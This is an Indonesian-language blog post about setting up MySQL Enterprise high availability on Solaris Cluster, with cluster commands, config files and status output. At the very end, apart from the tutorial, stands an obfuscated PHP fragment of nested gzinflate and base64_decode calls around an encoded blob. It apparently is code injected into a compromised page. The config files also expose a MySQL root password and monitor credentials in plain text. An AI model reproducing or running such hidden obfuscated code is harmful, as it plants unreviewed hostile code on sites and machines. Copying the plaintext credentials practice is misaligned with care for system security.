Delicious

Archives

Categories

MySQL HA – Solaris Cluster

  ozzie / 27/06/2013


build MySQL HA enterprise pada Solaris Cluster kandang-monyet & kandang-buaya…
karena Data Service MySQL belum include pada Solaris Cluster.. jadi registrasi manual..

  *** Data Services Menu ***
    Please select from one of the following options:
 
      * 1) Apache Web Server
      * 2) Oracle
      * 3) NFS
      * 4) Oracle Real Application Clusters
      * 5) PeopleSoft Enterprise Application Server
      * 6) Highly Available Storage
      * 7) Logical Hostname
      * 8) Shared Address
      * 9) Per Node Logical Hostname
      *10) Weblogic Server
 
      * ?) Help
      * q) Return to the Main Menu
    Option:

register Generic Data Service

# clresourcetype register  SUNW.gds SUNW.HAStoragePlus
# clresourcetype  show
=== Registered Resource Types ===   
....
....
Resource Type:                                  SUNW.gds:6
  RT_description:                                  Generic Data Service for Oracle Solaris Cluster
  RT_version:                                      6
  API_version:                                     2
  RT_basedir:                                      /opt/SUNWscgds/bin
  Single_instance:                                 False
  Proxy:                                           False
  Init_nodes:                                      All potential masters
  Installed_nodes:                                 <All>
  Failover:                                        False
  Pkglist:                                         <NULL>
  RT_system:                                       False
  Global_zone:                                     False
 
Resource Type:                                  SUNW.HAStoragePlus:10
  RT_description:                                  HA Storage Plus
  RT_version:                                      10
  API_version:                                     2
  RT_basedir:                                      /usr/cluster/lib/rgm/rt/hastorageplus
  Single_instance:                                 False
  Proxy:                                           False
  Init_nodes:                                      All potential masters
  Installed_nodes:                                 <All>
  Failover:                                        False
  Pkglist:                                         SUNWscu
  RT_system:                                       False
  Global_zone:                                     True
.....

Create resource group dan logical hostname untuk Failover

# clresourcegroup create MySQL-RG
# clresource create -g MySQL-RG -t SUNW.HAStoragePlus -p AffinityOn=TRUE -p Zpools=zMysql -p ZpoolsSearchDir=/dev/did/dsk MySQL-HAS
# clreslogicalhostname create -g MySQL-RG -h buaya  MySQL-LH 
# clresource list -v
Resource Name       Resource Type            Resource Group
-------------       -------------            --------------
MySQL-LH            SUNW.LogicalHostname:4   MySQL-RG
MySQL-HAS           SUNW.HAStoragePlus:10    MySQL-RG

Register Manual:
setting parameter sesuai konfigurasi & register…

# cp /opt/SUNWscmys/util/mysql_config /export/home/ozzie/mysql_config
# cp /opt/SUNWscmys/util/ha_mysql_config /export/home/ozzie/ha_mysql_config

mysql_config:

MYSQL_BASE=/opt/mysql/mysql
MYSQL_USER=root
MYSQL_PASSWD=baueek
MYSQL_HOST=Buaya
FMUSER=fmuser
FMPASS=fmuser
MYSQL_SOCK=/tmp/mysql.sock
MYSQL_NIC_HOSTNAME=Buaya
MYSQL_DATADIR=/global/mysql

ha_mysql_config:

 
RS=MySQL-RS
RG=MySQL-RG
PORT=3306
LH=buaya
SCALABLE=
LB_POLICY=
RS_PROP=
HAS_RS=MySQL-HAS
 
BASEDIR=/opt/mysql/mysql
DATADIR=/global/mysql
MYSQLUSER=mysql
MYSQLHOST=buaya
FMUSER=fmuser
FMPASS=fmuser
LOGDIR=/global/mysql/logs
CHECK=yes

register Data Service:

# /opt/SUNWscmys/util/mysql_register -f /export/home/ozzie/mysql_config  
# /opt/SUNWscmys/util/ha_mysql_register -f /export/home/ozzie/ha_mysql_config  
# clrs enable MySQL-RS

Taddaaaaa <:-p

bash-3.2# clrs status
 
=== Cluster Resources ===
 
Resource Name       Node Name      State        Status Message
-------------       ---------      -----        --------------
MySQL-RS            buaya2         Online       Online - Service is online.
                    buaya1         Offline      Offline
 
MySQL-LH            buaya2         Online       Online - LogicalHostname online.
                    buaya1         Offline      Offline
 
MySQL-HAS           buaya2         Online       Online
                    buaya1         Offline      Offline

tinggal switch antar node dah #:-s

# mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 84
Server version: 5.6.12-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial)
 
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
mysql>


« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>